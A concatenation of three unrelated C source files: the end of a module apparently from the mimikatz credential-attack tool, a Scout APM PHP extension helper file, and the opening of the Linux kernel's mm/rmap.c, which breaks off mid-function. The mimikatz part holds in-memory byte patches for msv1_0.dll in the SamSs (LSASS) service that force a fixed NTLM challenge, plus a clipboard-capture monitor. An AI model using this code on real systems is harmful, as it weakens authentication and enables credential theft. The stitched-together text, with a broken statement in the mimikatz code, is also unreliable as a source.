if(info = (PFILTER_AGGREGATE_BASIC_INFORMATION) LocalAlloc(LPTR, szNeeded))
{
res = FilterFindFirst(FilterAggregateBasicInformation, info, szNeeded, &szNeeded, &hDevice);
if(res == S_OK)
{
kuhl_m_misc_mflt_display(info);
do
{
res = FilterFindNext(hDevice, FilterAggregateBasicInformation, NULL, 0, &szNeeded);
if(res == HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER))
{
if(info2 = (PFILTER_AGGREGATE_BASIC_INFORMATION) LocalAlloc(LPTR, szNeeded))
{
res = FilterFindNext(hDevice, FilterAggregateBasicInformation, info2, szNeeded, &szNeeded);
if(res == S_OK)
kuhl_m_misc_mflt_display(info2);
else PRINT_ERROR(L"FilterFindNext(data): 0x%08x\n", res);
LocalFree(info2);
}
}
else if(res != HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) PRINT_ERROR(L"FilterFindNext(size): 0x%08x\n", res);
}
while(res == S_OK);
}
else PRINT_ERROR(L"FilterFindFirst(data): 0x%08x\n", res);
LocalFree(info);
}
}
else if(res != HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) (L"FilterFindFirst(size): 0x%08x\n", res);
return STATUS_SUCCESS;
}
void kuhl_m_misc_mflt_display(PFILTER_AGGREGATE_BASIC_INFORMATION info)
{
DWORD offset;
do
{
switch(info->Flags)
{
case FLTFL_AGGREGATE_INFO_IS_MINIFILTER:
kprintf(L"%u %u %10.*s %.*s\n",
info->Type.MiniFilter.FrameID, info->Type.MiniFilter.NumberOfInstances,
info->Type.MiniFilter.FilterAltitudeLength / sizeof(wchar_t), (PBYTE) info + info->Type.MiniFilter.FilterAltitudeBufferOffset,
info->Type.MiniFilter.FilterNameLength / sizeof(wchar_t), (PBYTE) info + info->Type.MiniFilter.FilterNameBufferOffset
);
break;
case FLTFL_AGGREGATE_INFO_IS_LEGACYFILTER:
kprintf(L"--- LEGACY --- %.*s\n", info->Type.LegacyFilter.FilterNameLength / sizeof(wchar_t), (PBYTE) info + info->Type.LegacyFilter.FilterNameBufferOffset);
break;
default:
;
}
offset = info->NextEntryOffset;
info = (PFILTER_AGGREGATE_BASIC_INFORMATION) ((PBYTE) info + offset);
}
while(offset);
}
#ifdef _M_X64
BYTE PTRN_WI7_SHNM[] = {0x49, 0xbb, 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x48, 0xb8, 0x06, 0x01, 0xb1, 0x1d, 0x00, 0x00, 0x00, 0x0f, 0x48, 0x8d, 0x4e, 0x18, 0x8b, 0xd3, 0xc7, 0x46, 0x08, 0x02, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x1e, 0x48, 0x89, 0x46, 0x30, 0xe8};
BYTE PATC_WI7_SHNM[] = {0xc7, 0x46, 0x08, 0x02, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x1e, 0x48, 0x89, 0x46, 0x30, 0x48, 0xb8, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x48, 0x89, 0x46, 0x18, 0x90, 0x90, 0x90, 0x90, 0x90};
BYTE PTRN_W10_1709_SHNM[] = {0x48, 0xb8, 0x0a, 0x00, 0xab, 0x3f, 0x00, 0x00, 0x00, 0x0f, 0xba, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x30, 0xff, 0x15};
BYTE PATC_W10_1709_SHNM[] = {0x48, 0xb8, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x48, 0x89, 0x47, 0x18};
KULL_M_PATCH_GENERIC SHNMReferences[] = {
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_WI7_SHNM), PTRN_WI7_SHNM}, {sizeof(PATC_WI7_SHNM), PATC_WI7_SHNM}, {20}},
{KULL_M_WIN_BUILD_10_1709, {sizeof(PTRN_W10_1709_SHNM), PTRN_W10_1709_SHNM}, {sizeof(PATC_W10_1709_SHNM), PATC_W10_1709_SHNM}, {19}},
};
#elif defined _M_IX86
BYTE PTRN_WI7_SHNM[] = {0xc7, 0x43, 0x30, 0x06, 0x01, 0xb1, 0x1d, 0xc7, 0x43, 0x34, 0x00, 0x00, 0x00, 0x0f, 0xe8};
BYTE PATC_WI7_SHNM[] = {0x58, 0x58, 0xc7, 0x43, 0x18, 0x11, 0x22, 0x33, 0x44, 0xc7, 0x43, 0x1c, 0x55, 0x66, 0x77, 0x88};
BYTE PTRN_W10_1709_SHNM[] = {0x8d, 0x43, 0x18, 0x6a, 0x08, 0x50, 0xc7, 0x43, 0x08, 0x02, 0x00, 0x00, 0x00, 0xc7, 0x43, 0x30, 0x0a, 0x00, 0xab, 0x3f, 0xc7, 0x43, 0x34, 0x00, 0x00, 0x00, 0x0f, 0xff, 0x15};
BYTE PATC_W10_1709_SHNM[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xc7, 0x43, 0x08, 0x02, 0x00, 0x00, 0x00, 0xc7, 0x43, 0x30, 0x0a, 0x00, 0xab, 0x3f, 0xc7, 0x43, 0x34, 0x00, 0x00, 0x00, 0x0f, 0xc7, 0x43, 0x18, 0x11, 0x22, 0x33, 0x44, 0xc7, 0x43, 0x1c, 0x55, 0x66, 0x77, 0x88}; //
KULL_M_PATCH_GENERIC SHNMReferences[] = {
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_WI7_SHNM), PTRN_WI7_SHNM}, {sizeof(PATC_WI7_SHNM), PATC_WI7_SHNM}, {14}},
{KULL_M_WIN_BUILD_10_1709, {sizeof(PTRN_W10_1709_SHNM), PTRN_W10_1709_SHNM}, {sizeof(PATC_W10_1709_SHNM), PATC_W10_1709_SHNM}, {0}},
};
#endif
NTSTATUS kuhl_m_misc_easyntlmchall(int argc, wchar_t * argv[])
{
if((MIMIKATZ_NT_BUILD_NUMBER == (KULL_M_WIN_BUILD_7 + 1)) || (MIMIKATZ_NT_BUILD_NUMBER == KULL_M_WIN_BUILD_10_1709))
kull_m_patch_genericProcessOrServiceFromBuild(SHNMReferences, ARRAYSIZE(SHNMReferences), L"SamSs", L"msv1_0.dll", TRUE);
else PRINT_ERROR(L"Windows version is not supported (yet)\n");
return STATUS_SUCCESS;
}
HWND kuhl_misc_clip_hWnd, kuhl_misc_clip_hWndNextViewer;
DWORD kuhl_misc_clip_dwData, kuhl_misc_clip_seq;
LPBYTE kuhl_misc_clip_Data;
NTSTATUS kuhl_m_misc_clip(int argc, wchar_t * argv[])
{
WNDCLASSEX myClass;
ATOM aClass;
MSG msg;
BOOL bRet;
HINSTANCE hInstance = GetModuleHandle(NULL);
RtlZeroMemory(&myClass, sizeof(WNDCLASSEX));
myClass.cbSize = sizeof(WNDCLASSEX);
myClass.lpfnWndProc = kuhl_m_misc_clip_MainWndProc;
myClass.lpszClassName = MIMIKATZ L"_Window_Message";
kprintf(L"Monitoring ClipBoard...(CTRL+C to stop)\n\n");
if(aClass = RegisterClassEx(&myClass))
{
if(kuhl_misc_clip_hWnd = CreateWindowEx(0, (LPCWSTR) aClass, MIMIKATZ, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, hInstance, NULL))
{
SetConsoleCtrlHandler(kuhl_misc_clip_WinHandlerRoutine, TRUE);
kuhl_misc_clip_Data = NULL;
kuhl_misc_clip_dwData = kuhl_misc_clip_seq = 0;
kuhl_misc_clip_hWndNextViewer = SetClipboardViewer(kuhl_misc_clip_hWnd);
while((bRet = GetMessage(&msg, kuhl_misc_clip_hWnd, WM_QUIT, WM_CHANGECBCHAIN)))
{
if(bRet > FALSE)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
else if (bRet < FALSE)
PRINT_ERROR_AUTO(L"GetMessage");
}
if(!ChangeClipboardChain(kuhl_misc_clip_hWnd, kuhl_misc_clip_hWndNextViewer))
PRINT_ERROR_AUTO(L"ChangeClipboardChain");
SetConsoleCtrlHandler(kuhl_misc_clip_WinHandlerRoutine, FALSE);
if(!DestroyWindow(kuhl_misc_clip_hWnd))
PRINT_ERROR_AUTO(L"DestroyWindow");
}
if(!UnregisterClass((LPCWSTR) aClass, hInstance))
PRINT_ERROR_AUTO(L"UnregisterClass");
}
else PRINT_ERROR_AUTO(L"RegisterClassEx");
return STATUS_SUCCESS;
//DWORD format;
//HANDLE hData;
//wchar_t formatName[256];
//LPDATAOBJECT data;
//IEnumFORMATETC *iFormats;
//FORMATETC re[45];
//DWORD dw = 0, i;
//STGMEDIUM medium;
//
//if(OpenClipboard(NULL))
//{
// for(format = EnumClipboardFormats(0); format; format = EnumClipboardFormats(format))
// {
// kprintf(L"* %08x (%5u)\t", format, format);
// if(GetClipboardFormatName(format, formatName, ARRAYSIZE(formatName)) > 1)
// kprintf(L"%s ", formatName);
// if(hData = GetClipboardData(format))
// kprintf(L"(size = %u)", (DWORD) GlobalSize(hData));
// kprintf(L"\n");
// }
// CloseClipboard();
//}
//if(OleGetClipboard(&data) == S_OK)
//{
// if(IDataObject_EnumFormatEtc(data, DATADIR_GET, &iFormats) == S_OK)
// {
// kprintf(L"%08x\n", IEnumFORMATETC_Next(iFormats, ARRAYSIZE(re), re, &dw));
// for(i = 0; i < dw; i++)
// {
// kprintf(L"%08x - %5u", re[i].cfFormat, re[i].cfFormat);
// kprintf(L" %u\t", re[i].tymed);
// if(IDataObject_GetData(data, &re[i], &medium) == S_OK)
// {
// kprintf(L"\tT: %08x - %5u", medium.tymed, medium.tymed);
// ReleaseStgMedium(&medium);
// }
// kprintf(L"\n");
// }
// IEnumFORMATETC_Release(iFormats);
// }
// IDataObject_Release(data);
//}
return STATUS_SUCCESS;
}
BOOL WINAPI kuhl_misc_clip_WinHandlerRoutine(DWORD dwCtrlType)
{
if(kuhl_misc_clip_Data)
LocalFree(kuhl_misc_clip_Data);
if(kuhl_misc_clip_hWnd)
PostMessage(kuhl_misc_clip_hWnd, WM_QUIT, STATUS_ABANDONED, 0);
return ((dwCtrlType == CTRL_C_EVENT) || (dwCtrlType == CTRL_BREAK_EVENT));
}
LRESULT APIENTRY kuhl_m_misc_clip_MainWndProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
LRESULT result = (LRESULT) NULL;
DWORD curSeq, format, bestFormat = 0, size;
HANDLE hData;
BOOL bSameSize = FALSE, bSameData = FALSE;
switch (uMsg)
{
case WM_CHANGECBCHAIN:
if((HWND) wParam == kuhl_misc_clip_hWndNextViewer)
kuhl_misc_clip_hWndNextViewer = (HWND) lParam;
else if (kuhl_misc_clip_hWndNextViewer)
result = SendMessage(kuhl_misc_clip_hWndNextViewer, uMsg, wParam, lParam);
break;
case WM_DRAWCLIPBOARD:
curSeq = GetClipboardSequenceNumber();
if(curSeq != kuhl_misc_clip_seq)
{
kuhl_misc_clip_seq = curSeq;
if(OpenClipboard(hwnd))
{
for(format = EnumClipboardFormats(0); format && (bestFormat != CF_UNICODETEXT); format = EnumClipboardFormats(format))
if((format == CF_TEXT) || (format == CF_UNICODETEXT))
if(format > bestFormat)
bestFormat = format;
if(bestFormat)
{
if(hData = GetClipboardData(bestFormat))
{
if(size = (DWORD) GlobalSize(hData))
{
bSameSize = (size == kuhl_misc_clip_dwData);
if(bSameSize && kuhl_misc_clip_Data)
bSameData = RtlEqualMemory(kuhl_misc_clip_Data, hData, size);
if(!bSameSize)
{
if(kuhl_misc_clip_Data)
{
kuhl_misc_clip_Data = (PBYTE) LocalFree(kuhl_misc_clip_Data);
kuhl_misc_clip_dwData = 0;
}
if(kuhl_misc_clip_Data = (PBYTE) LocalAlloc(LPTR, size))
kuhl_misc_clip_dwData = size;
}
if(!bSameData && kuhl_misc_clip_Data)
{
RtlCopyMemory(kuhl_misc_clip_Data, hData, size);
kprintf(L"ClipData: ");
kprintf((bestFormat == CF_UNICODETEXT) ? L"%s\n" : L"%S\n", kuhl_misc_clip_Data);
}
}
}
else PRINT_ERROR_AUTO(L"GetClipboardData");
}
CloseClipboard();
}
}
result = SendMessage(kuhl_misc_clip_hWndNextViewer, uMsg, wParam, lParam);
break;
default:
result = DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return result;
} |
36132.c | /*
* Scout APM extension for PHP
*
* Copyright (C) 2021
* For license information, please see the LICENSE file.
*/
#include "zend_scoutapm.h"
#include "scout_extern.h"
#include <ext/standard/file.h>
#include <ext/json/php_json.h>
#include <zend_smart_str.h>
/*
* Given some zend_execute_data, figure out what the function/method/static method is being called. The convention used
* is `ClassName::methodName` for static methods, `ClassName->methodName` for instance methods, and `functionName` for
* regular functions.
*
* Result must ALWAYS be free'd, or you'll leak memory.
*/
const char* determine_function_name(zend_execute_data *execute_data)
{
int len;
char *ret;
if (!execute_data->func) {
return strdup("<not a function call>");
}
if (execute_data->func->common.scope && execute_data->func->common.fn_flags & ZEND_ACC_STATIC) {
DYNAMIC_MALLOC_SPRINTF(ret, len, "%s::%s",
ZSTR_VAL(Z_CE(execute_data->This)->name),
ZSTR_VAL(execute_data->func->common.function_name)
);
return ret;
}
if (Z_TYPE(execute_data->This) == IS_OBJECT) {
DYNAMIC_MALLOC_SPRINTF(ret, len, "%s->%s",
ZSTR_VAL(execute_data->func->common.scope->name),
ZSTR_VAL(execute_data->func->common.function_name)
);
return ret;
}
return strdup(ZSTR_VAL(execute_data->func->common.function_name));
}
/*
* Using gettimeofday, determine the time using microsecond precision, and return as a double.
* @todo consider using HR monotonic time? https://github.com/scoutapp/scout-apm-php-ext/issues/23
*/
double scoutapm_microtime()
{
struct timeval tp = {0};
if (gettimeofday(&tp, NULL)) {
zend_throw_exception_ex(zend_ce_exception, 0, "Could not call gettimeofday");
return 0;
}
return (double)(tp.tv_sec + tp.tv_usec / 1000000.00);
}
void safely_copy_argument_zval_as_scalar(zval *original_to_copy, zval *destination)
{
int len, should_free = 0;
char *ret;
reference_retry_point:
switch (Z_TYPE_P(original_to_copy)) {
case IS_NULL:
case IS_TRUE:
case IS_FALSE:
case IS_LONG:
case IS_DOUBLE:
case IS_STRING:
ZVAL_COPY(destination, original_to_copy);
return;
case IS_REFERENCE:
original_to_copy = Z_REFVAL_P(original_to_copy);
goto reference_retry_point;
case IS_ARRAY:
/**
* @todo improvement for future; copy array but only if it contains scalar
* @link https://github.com/scoutapp/scout-apm-php-ext/issues/76
*/
ret = (char*)"(array)";
break;
case IS_RESOURCE:
if (strcasecmp("stream-context", zend_rsrc_list_get_rsrc_type(Z_RES_P(original_to_copy))) == 0) {
php_stream_context *stream_context = zend_fetch_resource_ex(original_to_copy, NULL, php_le_stream_context());
if (stream_context != NULL) {
#if PHP_VERSION_ID < 80000
/* ext/json can be shared */
zval args[1], jsonenc;
ZVAL_STRINGL(&jsonenc, "json_encode", sizeof("json_encode")-1);
args[0] = stream_context->options;
if (FAILURE == call_user_function(EG(function_table), NULL, &jsonenc, destination, 1, args)) {
ZVAL_NULL(destination);
}
zval_ptr_dtor(&jsonenc);
#else
/* ext/json is always there */
smart_str json_encode_string_buffer = {0};
php_json_encode(&json_encode_string_buffer, &stream_context->options, 0);
smart_str_0(&json_encode_string_buffer);
ZVAL_STR_COPY(destination, json_encode_string_buffer.s);
smart_str_free(&json_encode_string_buffer);
#endif
return;
}
}
should_free = 1;
DYNAMIC_MALLOC_SPRINTF(ret, len,
"resource(%d)",
Z_RES_HANDLE_P(original_to_copy)
);
break;
case IS_OBJECT:
#if PHP_MAJOR_VERSION == 7 && PHP_MINOR_VERSION == 1
/**
* Workaround for memory leak with the DYNAMIC_MALLOC_SPRINTF in PHP 7.1
* @link https://github.com/scoutapp/scout-apm-php-ext/issues/81
*/
ret = (char*)"object";
#else
should_free = 1;
DYNAMIC_MALLOC_SPRINTF(ret, len,
"object(%s)",
ZSTR_VAL(Z_OBJ_HT_P(original_to_copy)->get_class_name(Z_OBJ_P(original_to_copy)))
);
#endif // PHP_MAJOR_VERSION == 7 && PHP_MINOR_VERSION == 1
break;
default:
ret = (char*)"(unknown)";
}
ZVAL_STRING(destination, ret);
if (should_free) {
free((void*) ret);
}
}
/** Always free the result from this */
const char *zval_type_and_value_if_possible(zval *val)
{
int len;
char *ret;
reference_retry_point:
switch (Z_TYPE_P(val)) {
case IS_NULL:
return strdup("null");
case IS_TRUE:
return strdup("bool(true)");
case IS_FALSE:
return strdup("bool(false)");
case IS_LONG:
DYNAMIC_MALLOC_SPRINTF(ret, len,
"int(%ld)",
Z_LVAL_P(val)
);
return ret;
case IS_DOUBLE:
DYNAMIC_MALLOC_SPRINTF(ret, len,
"float(%g)",
Z_DVAL_P(val)
);
return ret;
case IS_STRING:
DYNAMIC_MALLOC_SPRINTF(ret, len,
"string(%zd, \"%s\")",
Z_STRLEN_P(val),
Z_STRVAL_P(val)
);
return ret;
case IS_RESOURCE:
DYNAMIC_MALLOC_SPRINTF(ret, len,
"resource(%d)",
Z_RES_HANDLE_P(val)
);
return ret;
case IS_ARRAY:
return strdup("array");
case IS_OBJECT:
DYNAMIC_MALLOC_SPRINTF(ret, len,
"object(%s)",
ZSTR_VAL(Z_OBJ_HT_P(val)->get_class_name(Z_OBJ_P(val)))
);
return ret;
case IS_REFERENCE:
val = Z_REFVAL_P(val);
goto reference_retry_point;
default:
return strdup("(unknown)");
}
}
/** Always free the result from this */
const char *unique_resource_id(const char *scout_wrapper_type, zval *resource_id)
{
int len;
char *ret;
const char *zval_type_as_string;
if (Z_TYPE_P(resource_id) != IS_RESOURCE) {
zval_type_as_string = zval_type_and_value_if_possible(resource_id);
zend_throw_exception_ex(NULL, 0, "ScoutAPM ext expected a resource, received: %s", zval_type_as_string);
free((void*) zval_type_as_string);
return "";
}
DYNAMIC_MALLOC_SPRINTF(ret, len,
"%s_handle(%d)_type(%d)",
scout_wrapper_type,
Z_RES_HANDLE_P(resource_id),
Z_RES_TYPE_P(resource_id)
);
return ret;
}
/** Always free the result from this */
const char *unique_class_instance_id(zval *class_instance)
{
int len;
char *ret;
const char *zval_type_as_string;
if (Z_TYPE_P(class_instance) != IS_OBJECT) {
zval_type_as_string = zval_type_and_value_if_possible(class_instance);
zend_throw_exception_ex(NULL, 0, "ScoutAPM ext expected an object, received: %s", zval_type_as_string);
free((void*) zval_type_as_string);
return "";
}
DYNAMIC_MALLOC_SPRINTF(ret, len,
"class(%s)_instance(%d)",
ZSTR_VAL(Z_OBJ_HT_P(class_instance)->get_class_name(Z_OBJ_P(class_instance))),
Z_OBJ_HANDLE_P(class_instance)
);
return ret;
}
/**
* This function wraps PHP's implementation of str_replace so we don't have to re-implement the same mechanism :)
*/
const char *scout_str_replace(const char *search, const char *replace, const char *subject)
{
zval args[3];
zval retval, func;
const char *replaced_string;
ZVAL_STRING(&func, "str_replace");
ZVAL_STRING(&args[0], search);
ZVAL_STRING(&args[1], replace);
ZVAL_STRING(&args[2], subject);
call_user_function(EG(function_table), NULL, &func, &retval, 3, args);
// Only return strings - if something went wrong, return the original subject
if (Z_TYPE(retval) != IS_STRING) {
return subject;
}
replaced_string = strdup(Z_STRVAL(retval));
zval_ptr_dtor(&args[0]);
zval_ptr_dtor(&args[1]);
zval_ptr_dtor(&args[2]);
zval_ptr_dtor(&func);
zval_ptr_dtor(&retval);
return replaced_string;
}
|
11674.c | /*
* mm/rmap.c - physical to virtual reverse mappings
*
* Copyright 2001, Rik van Riel <[email protected]>
* Released under the General Public License (GPL).
*
* Simple, low overhead reverse mapping scheme.
* Please try to keep this thing as modular as possible.
*
* Provides methods for unmapping each kind of mapped page:
* the anon methods track anonymous pages, and
* the file methods track pages belonging to an inode.
*
* Original design by Rik van Riel <[email protected]> 2001
* File methods by Dave McCracken <[email protected]> 2003, 2004
* Anonymous methods by Andrea Arcangeli <[email protected]> 2004
* Contributions by Hugh Dickins 2003, 2004
*/
/*
* Lock ordering in mm:
*
* inode->i_mutex (while writing or truncating, not reading or faulting)
* mm->mmap_sem
* page->flags PG_locked (lock_page)
* hugetlbfs_i_mmap_rwsem_key (in huge_pmd_share)
* mapping->i_mmap_rwsem
* anon_vma->rwsem
* mm->page_table_lock or pte_lock
* zone_lru_lock (in mark_page_accessed, isolate_lru_page)
* swap_lock (in swap_duplicate, swap_info_get)
* mmlist_lock (in mmput, drain_mmlist and others)
* mapping->private_lock (in __set_page_dirty_buffers)
* mem_cgroup_{begin,end}_page_stat (memcg->move_lock)
* i_pages lock (widely used)
* inode->i_lock (in set_page_dirty's __mark_inode_dirty)
* bdi.wb->list_lock (in set_page_dirty's __mark_inode_dirty)
* sb_lock (within inode_lock in fs/fs-writeback.c)
* i_pages lock (widely used, in set_page_dirty,
* in arch-dependent flush_dcache_mmap_lock,
* within bdi.wb->list_lock in __sync_single_inode)
*
* anon_vma->rwsem,mapping->i_mutex (memory_failure, collect_procs_anon)
* ->tasklist_lock
* pte map lock
*/
#include <linux/mm.h>
#include <linux/sched/mm.h>
#include <linux/sched/task.h>
#include <linux/pagemap.h>
#include <linux/swap.h>
#include <linux/swapops.h>
#include <linux/slab.h>
#include <linux/init.h>
#include <linux/ksm.h>
#include <linux/rmap.h>
#include <linux/rcupdate.h>
#include <linux/export.h>
#include <linux/memcontrol.h>
#include <linux/mmu_notifier.h>
#include <linux/migrate.h>
#include <linux/hugetlb.h>
#include <linux/backing-dev.h>
#include <linux/page_idle.h>
#include <linux/memremap.h>
#include <linux/userfaultfd_k.h>
#include <asm/tlbflush.h>
#include <trace/events/tlb.h>
#include "internal.h"
static struct kmem_cache *anon_vma_cachep;
static struct kmem_cache *anon_vma_chain_cachep;
static inline struct anon_vma *anon_vma_alloc(void)
{
struct anon_vma *anon_vma;
anon_vma = kmem_cache_alloc(anon_vma_cachep, GFP_KERNEL);
if (anon_vma) {
atomic_set(&anon_vma->refcount, 1);
anon_vma->degree = 1; /* Reference for first vma */
anon_vma->parent = anon_vma;
/*
* Initialise the anon_vma root to point to itself. If called
* from fork, the root will be reset to the parents anon_vma.
*/
anon_vma->root = anon_vma;
}
return anon_vma;
}
static inline void anon_vma_free(struct anon_vma *anon_vma)
{
VM_BUG_ON(atomic_read(&anon_vma->refcount));
/*
* Synchronize against page_lock_anon_vma_read() such that
* we can safely hold the lock without the anon_vma getting
* freed.
*
* Relies on the full mb implied by the atomic_dec_and_test() from
* put_anon_vma() against the acquire barrier implied by
* down_read_trylock() from page_lock_anon_vma_read(). This orders:
*
* page_lock_anon_vma_read() VS put_anon_vma()
* down_read_trylock() atomic_dec_and_test()
* LOCK MB
* atomic_read() rwsem_is_locked()
*
* LOCK should suffice since the actual taking of the lock must
* happen _before_ what follows.
*/
might_sleep();
if (rwsem_is_locked(&anon_vma->root->rwsem)) {
anon_vma_lock_write(anon_vma);
anon_vma_unlock_write(anon_vma);
}
kmem_cache_free(anon_vma_cachep, anon_vma);
}
static inline struct anon_vma_chain *anon_vma_chain_alloc(gfp_t gfp)
{
return kmem_cache_alloc(anon_vma_chain_cachep, gfp);
}
static void anon_vma_chain_free(struct anon_vma_chain *anon_vma_chain)
{
kmem_cache_free(anon_vma_chain_cachep, anon_vma_chain);
}
static void anon_vma_chain_link(struct vm_area_struct *vma,
struct anon_vma_chain *avc,
struct anon_vma *anon_vma)
{
avc->vma = vma;
avc->anon_vma = anon_vma;
list_add(&avc->same_vma, &vma->anon_vma_chain);
anon_vma_interval_tree_insert(avc, &anon_vma->rb_root);
}
/**
* __anon_vma_prepare - attach an anon_vma to a memory region
* @vma: the memory region in question
*
* This makes sure the memory mapping described by 'vma' has
* an 'anon_vma' attached to it, so that we can associate the
* anonymous pages mapped into it with that anon_vma.
*
* The common case will be that we already have one, which
* is handled inline by anon_vma_prepare(). But if
* not we either need to find an adjacent mapping that we
* can re-use the anon_vma from (very common when the only
* reason for splitting a vma has been mprotect()), or we
* allocate a new one.
*
* Anon-vma allocations are very subtle, because we may have
* optimistically looked up an anon_vma in page_lock_anon_vma_read()
* and that may actually touch the spinlock even in the newly
* allocated vma (it depends on RCU to make sure that the
* anon_vma isn't actually destroyed).
*
* As a result, we need to do proper anon_vma locking even
* for the new allocation. At the same time, we do not want
* to do any locking for the common case of already having
* an anon_vma.
*
* This must be called with the mmap_sem held for reading.
*/
int __anon_vma_prepare(struct vm_area_struct *vma)
{
struct mm_struct *mm = vma->vm_mm;
struct anon_vma *anon_vma, *allocated;
struct anon_vma_chain *avc;
might_sleep();
avc = anon_vma_chain_alloc(GFP_KERNEL);
if (!avc)
goto out_enomem;
anon_vma = find_mergeable_anon_vma(vma);
allocated = NULL;
if (!anon_vma) {
anon_vma = anon_vma_alloc();
if (unlikely(!anon_vma))
goto out_enomem_free_avc;
allocated = anon_vma;
}
anon_vma_lock_write(anon_vma);
/* page_table_lock to protect against threads */
spin_lock(&mm->page_table_lock);
if (likely(!vma->anon_vma)) {
vma->anon_vma = anon_vma;
anon_vma_chain_link(vma, avc, anon_vma);
/* vma reference or self-parent link for new root */
anon_vma->degree++;
allocated = NULL;
avc = NULL;
}
spin_unlock(&mm->page_table_lock);
anon_vma_unlock_write(anon_vma);
if (unlikely(allocated))
put_anon_vma(allocated);
if (unlikely(avc))
anon_vma_chain_free(avc);
return 0;
out_enomem_free_avc:
anon_vma_chain_free(avc);
out_enomem:
return -ENOMEM;
}
/*
* This is a useful helper function for locking the anon_vma root as
* we traverse the vma->anon_vma_chain, looping over anon_vma's that
* have the same vma.
*
* Such anon_vma's should have the same root, so you'd expect to see
* just a single mutex_lock for the whole traversal.
*/
static inline struct anon_vma *lock_anon_vma_root(struct anon_vma *root, struct anon_vma *anon_vma)
{
struct anon_vma *new_root = anon_vma->root;
if (new_root != root) {
if (WARN_ON_ONCE(root))
up_write(&root->rwsem);
root = new_root;
down_write(&root->rwsem);
}
return root;
}
static inline void unlock_anon_vma_root(struct anon_vma *root)
{
if (root)
up_write(&root->rwsem);
}
/*
* Attach the anon_vmas from src to dst.
* Returns 0 on success, -ENOMEM on failure.
*
* If dst->anon_vma is NULL this function tries to find and reuse existing
* anon_vma which has no vmas and only one child anon_vma. This prevents
* degradation of anon_vma hierarchy to endless linear chain in case of
* constantly forking task. On the other hand, an anon_vma with more than one
* child isn't reused even if there was no alive vma, thus rmap walker has a
* good chance of avoiding scanning the whole hierarchy when it searches where
* page is mapped.
*/
int anon_vma_clone(struct vm_area_struct *dst, struct vm_area_struct *src)
{
struct anon_vma_chain *avc, *pavc;
struct anon_vma *root = NULL;
list_for_each_entry_reverse(pavc, &src->anon_vma_chain, same_vma) {
struct anon_vma *anon_vma;
avc = anon_vma_chain_alloc(GFP_NOWAIT | __GFP_NOWARN);
if (unlikely(!avc)) {
unlock_anon_vma_root(root);
root = NULL;
avc = anon_vma_chain_alloc(GFP_KERNEL);
if (!avc)
goto enomem_failure;
}
anon_vma = pavc->anon_vma;
root = lock_anon_vma_root(root, anon_vma);
anon_vma_chain_link(dst, avc, anon_vma);
/*
* Reuse existing anon_vma if its degree lower than two,
* that means it has no vma and only one anon_vma child.
*
* Do not chose parent anon_vma, otherwise first child
* will always reuse it. Root anon_vma is never reused:
* it has self-parent reference and at least one child.
*/
if (!dst->anon_vma && anon_vma != src->anon_vma &&
anon_vma->degree < 2)
dst->anon_vma = anon_vma;
}
if (dst->anon_vma)
dst->anon_vma->degree++;
unlock_anon_vma_root(root);
return 0;
enomem_failure:
/*
* dst->anon_vma is dropped here otherwise its degree can be incorrectly
* decremented in unlink_anon_vmas().
* We can safely do this because callers of anon_vma_clone() don't care
* about dst->anon_vma if anon_vma_clone() failed.
*/
dst->anon_vma = NULL;
unlink_anon_vmas(dst);
return -ENOMEM;
}
/*
* Attach vma to its own anon_vma, as well as to the anon_vmas that
* the corresponding VMA in the parent process is attached to.
* Returns 0 on success, non-zero on failure.
*/
int anon_vma_fork(struct vm_area_struct *vma, struct vm_area_struct *pvma)
{
struct anon_vma_chain *avc;
struct anon_vma *anon_vma;
int error;
/* Don't bother if the parent process has no anon_vma here. */
if (!pvma->anon_vma)
return 0;
/* Drop inherited anon_vma, we'll reuse existing or allocate new. */
vma->anon_vma = NULL;
/*
* First, attach the new VMA to the parent VMA's anon_vmas,
* so rmap can find non-COWed pages in child processes.
*/
error = anon_vma_clone(vma, pvma);
if (error)
return error;
/* An existing anon_vma has been reused, all done then. */
if (vma->anon_vma)
return 0;
/* Then add our own anon_vma. */
anon_vma = anon_vma_alloc();
if (!anon_vma)
goto out_error;
avc = anon_vma_chain_alloc(GFP_KERNEL);
if (!avc)
goto out_error_free_anon_vma;
/*
* The root anon_vma's spinlock is the lock actually used when we
* lock any of the anon_vmas in this anon_vma tree.
*/
anon_vma->root = pvma->anon_vma->root;
anon_vma->parent = pvma->anon_vma;
/*
* With refcounts, an anon_vma can stay around longer than the
* process it belongs to. The root anon_vma needs to be pinned until
* this anon_vma is freed, because the lock lives in the root.
*/
get_anon_vma(anon_vma->root);
/* Mark this anon_vma as the one where our new (COWed) pages go. */
vma->anon_vma = anon_vma;
anon_vma_lock_write(anon_vma);
anon_vma_chain_link(vma, avc, anon_vma);
anon_vma->parent->degree++;
anon_vma_unlock_write(anon_vma);
return 0;
out_error_free_anon_vma:
put_anon_vma(anon_vma);
out_error:
unlink_anon_vmas(vma);
return -ENOMEM;
}
void unlink_anon_vmas(struct vm_area_struct *vma)
{
struct anon_vma_chain *avc, *next;
struct anon_vma *root = NULL;
/*
* Unlink each anon_vma chained to the VMA. This list is ordered
* from newest to oldest, ensuring the root anon_vma gets freed last.
*/
list_for_each_entry_safe(avc, next, &vma->anon_vma_chain, same_vma) {
struct anon_vma *anon_vma = avc->anon_vma;
root = lock_anon_vma_root(root, anon_vma);
anon_vma_interval_tree_remove(avc, &anon_vma->rb_root);
/*
* Leave empty anon_vmas on the list - we'll need
* to free them outside the lock.
*/
if (RB_EMPTY_ROOT(&anon_vma->rb_root.rb_root)) {
anon_vma->parent->degree--;
continue;
}
list_del(&avc->same_vma);
anon_vma_chain_free(avc);
}
